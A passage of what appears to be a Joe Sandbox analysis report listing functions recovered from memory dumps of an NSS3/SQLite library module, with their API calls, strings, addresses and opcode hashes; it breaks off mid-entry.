view, xrefs: 6CF6F061, 6CF6F071, 6CF6FAB7
temporary table name must be unqualified, xrefs: 6CF6F734
not authorized, xrefs: 6CF6F957, 6CF6F9BA
table, xrefs: 6CF6F05C, 6CF6FABC, 6CF6FAC7
there is already an index named %s, xrefs: 6CF6F9D7
sqlite_master, xrefs: 6CF6F0AB, 6CF6F2DA, 6CF6F757, 6CF6F93E
%s %T already exists, xrefs: 6CF6FAC8
authorizer malfunction, xrefs: 6CF6F95C, 6CF6F9BF, 6CF6FA5E, 6CF6FA8B
sqlite_temp_master, xrefs: 6CF6F0A6, 6CF6F2D5

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 5407e2aa2f88af0362a8ee2e40fc40acf6333d08c75798ea48cac362d5a2b237
Instruction ID: 07564400dbecb86b85c4a9607c03abfeb43af4aae6ee5075242710cb79c72ffd
Opcode Fuzzy Hash: 5407e2aa2f88af0362a8ee2e40fc40acf6333d08c75798ea48cac362d5a2b237
Instruction Fuzzy Hash: E572D270E042058FDB54CF2AC484BAABBF1FF49308F1581ADD815ABB52D776E846CB90

Function 6D089C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CF5C52B), ref: 6D089D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D08A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D08A114

Strings

database corruption, xrefs: 6D08A029, 6D08A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D08A01F, 6D08A0E4, 6D08A0FE
%s at line %d of [%.10s], xrefs: 6D08A02E, 6D08A10D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 5f7ccc4b7014af53f0a8ab7a26d8433a19031aedbc0c6ae4b02ce26d60d40d63
Instruction ID: 77f85eaf78e70ca1471f924dddfc800820417d8d07e3713486e91177392a7d00
Opcode Fuzzy Hash: 5f7ccc4b7014af53f0a8ab7a26d8433a19031aedbc0c6ae4b02ce26d60d40d63
Instruction Fuzzy Hash: 7A22AE716483418FEB05CF29C490B2ABBE1BF8A344F50CA2DE99A97692D735D845CB42

Function 6D0A9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CF68637,?,?), ref: 6D0A9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CF68637), ref: 6D0A9ED6

Strings

database corruption, xrefs: 6D0A9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D0A9EC0
%s at line %d of [%.10s], xrefs: 6D0A9ECF

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: b81336459c5d205208bc9a66af2909bb94413ead824808b14c7e5ca875954a97
Instruction ID: 837ce645230d3461a53096ae1d0bbf90a9a4fa19c40aeb7ead8b27373b3e017f
Opcode Fuzzy Hash: b81336459c5d205208bc9a66af2909bb94413ead824808b14c7e5ca875954a97
Instruction Fuzzy Hash: 0881B731B002169FEB04CFA9D880BEEB3F6FF48314B998129D915AB242D772DE45CB50

Function 6D0B7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6D0B81BC

Strings

BINARY, xrefs: 6D0B8126
out of memory, xrefs: 6D0B835B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: d325e9aa1dbbbcb35b32aaf3f41f0444915282651d36eaeb102e44948e37baea
Instruction ID: 0877d1a7d4b223057473e3bed8fb4c81dc82db8456dea3ea5cbdb6cc3ba7f21e
Opcode Fuzzy Hash: d325e9aa1dbbbcb35b32aaf3f41f0444915282651d36eaeb102e44948e37baea
Instruction Fuzzy Hash: 6B527E71E0821ADFEB14CF99C890BADBBF6FF48314F158069D855AB361D731A842CB90

Function 6D039EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D039ED6

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6D039EE4

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D039F38

Part of subcall function 6D03D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6D039F0B), ref: 6D03D03B
Part of subcall function 6D03D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6D03D04E
Part of subcall function 6D03D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6D03D07B
Part of subcall function 6D03D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6D03D08E
Part of subcall function 6D03D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D03D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D039F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6D039F59

Part of subcall function 6D039D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6D039C5B), ref: 6D039D82
Part of subcall function 6D039D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6D039C5B), ref: 6D039DA9
Part of subcall function 6D039D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6D039C5B), ref: 6D039DCE
Part of subcall function 6D039D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6D039C5B), ref: 6D039E43

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 37b1923d31a36ede805c293069cb3a6050bb06a6b57836cc5dfd886e663381da
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 991108B5F082235FF7108B76BC01B2B7394AF94388F174134EA098B240FF71E9118292

Function 6D0ECDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0ED086
PR_Malloc.NSS3(00000001), ref: 6D0ED0B9
PR_Free.NSS3(?), ref: 6D0ED138

Strings

>, xrefs: 6D0ECF5B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 7c102d9495ae79c2d99a4a44f61ef7fcf09638f8bcca18c93762944d2d92ae5d
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: C7D14962B546470FFB15487D88A13EEBB93D7C23F0F984369D521CB3E5E51A88838365

Function 6D08AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8bb6e0bf51cddea2ac8ec33918f89f273bbfab459eb9b09919e1791f4956ff
Instruction ID: 2172791e8c52ace32fb299177e60907f6afb65bac2fc8433916f137b35b6c3b9
Opcode Fuzzy Hash: 6d8bb6e0bf51cddea2ac8ec33918f89f273bbfab459eb9b09919e1791f4956ff
Instruction Fuzzy Hash: 99F1FFB0E002568FEF14CFA8E9407BA77F1BB8A304F15412DC915DB355EBB19A92CB85

Function 6D07DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF55001,?,00000003,00000000), ref: 6D07DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CF55001,?), ref: 6D07E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CF55001,?), ref: 6D07E2DA

Strings

W, xrefs: 6D07E111

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: ca87f1f8aa5865152bfc76517a87b54b5fe0739b82b2682eb4bcf2dcbb176bdd
Instruction ID: 14480b53fdf6fae812703fcdafb1187c1caefb406ccc6c3a2fcb6f4ae8499ab9
Opcode Fuzzy Hash: ca87f1f8aa5865152bfc76517a87b54b5fe0739b82b2682eb4bcf2dcbb176bdd
Instruction Fuzzy Hash: C8C1F671A062578BEB25CE2984907FE77F2BF86304F198079DCA9DF241D7319942CB94

Function 6CF66F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CF67067
*?[, xrefs: 6CF67034, 6CF67052, 6CF67070
unordered*, xrefs: 6CF6702B
sz=[0-9]*, xrefs: 6CF67049

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 9632f9689aacfe400dc44b73a5ec1d2ed8083157c79325ffc99487a3f411bd89
Instruction ID: 9c4929038e0c1a954ad5bd8c4f42fccc0b44c1dcaa56fede7858e8db5bd4752e
Opcode Fuzzy Hash: 9632f9689aacfe400dc44b73a5ec1d2ed8083157c79325ffc99487a3f411bd89
Instruction Fuzzy Hash: 05717B32F041114BEB148A6EC8803AF77A29F81314F26023BD969ABFD5EB719C4687D1

Function 6CF83EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6CF83FAA, 6CF84185
sqlite_master, xrefs: 6CF8463F
sqlite_temp_master, xrefs: 6CF8460F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 3c2a4e8110741eac792f39a1f8c84ebe36f435b26a55f07317fbd57e2ea852f0
Instruction ID: fd3cacf5e200cf538c5d6936b3f53cf9bbcefac693b4de2436f702b65673b9f5
Opcode Fuzzy Hash: 3c2a4e8110741eac792f39a1f8c84ebe36f435b26a55f07317fbd57e2ea852f0
Instruction Fuzzy Hash: 6F227A3074B5A54FD705CB2984706BBBFFAAF47308B2945A8C9E19FA46C735E842C790

Function 6D0BBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6D0BC0B6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: be39db7b0c4d54614d03690d1d67c626c85c35e15c49ff7ebd875c052ba46dfa
Instruction ID: 51f7747ac059cd1c96ae3058d1b07052bff678f8b9010888c1ba1d1a35f5cc20
Opcode Fuzzy Hash: be39db7b0c4d54614d03690d1d67c626c85c35e15c49ff7ebd875c052ba46dfa
Instruction Fuzzy Hash: E1924B74A0820A8FEB05CF64C890BBEB7F2FF89304F148168D855AB391D776E846CB55

Function 6CF938E0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

., xrefs: 6CF94611

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 1db49ca23f1b6e6b0a7814635bc0d593cfce380512d0df9415e5a7c9e8597e12
Instruction ID: 44f819cf27a51b6126965e1f48c1763e16acc48b3d0be039bc7595f39de5d5ed
Opcode Fuzzy Hash: 1db49ca23f1b6e6b0a7814635bc0d593cfce380512d0df9415e5a7c9e8597e12
Instruction Fuzzy Hash: D5929075A04219CFEB24CF69C480BA9B7B2FF98304F258299D85D9B792D734E985CF40

Function 6CF53D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CF53EA9

Strings

0, xrefs: 6CF53DAB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: eb667a4674231ed2707991009df9cdc06ddef81099ebd96c7f06cad2ddfa8e0e
Instruction ID: 4c4bf82d717f2ad397c8ab0747f753b2909db9a257dab097831b32d8a250e9b7
Opcode Fuzzy Hash: eb667a4674231ed2707991009df9cdc06ddef81099ebd96c7f06cad2ddfa8e0e
Instruction Fuzzy Hash: 9C512732B490798BEB1546BC88613FFBBF19B93314F994329C7A16BAC0C274455E8790

Function 6CFFEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CFFF0F9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 5d6eb28c29b0cc2c45f55921b20378003412063281df8f429f3354c360d74a02
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: FE918D71E0061A8BCB14CF68C8916AEB7F1FB85324F25472DD972A7AD0D770A906CB91

Function 6D022F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6D047929), ref: 6D022FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6D047929), ref: 6D022FE0

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: fbe3d67415e3a52c48dfc40f539f22e24eeaeee97d7c9e3ecc7deda642f5ef5c
Instruction ID: 96b1eaf350738daf5260d503f3275f8963ae9a572be0268c3eb98495b5f49d1d
Opcode Fuzzy Hash: fbe3d67415e3a52c48dfc40f539f22e24eeaeee97d7c9e3ecc7deda642f5ef5c
Instruction Fuzzy Hash: F851E071A1A2128FF7248E69C8E0B7E73F1FB49314F56416DDE099B202D731E942CBA1

Function 6D040E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6D041052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6D041086

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: c505190dd8d726936016ce6bb6470853da92adf2f36fddfd879fc4765404941e
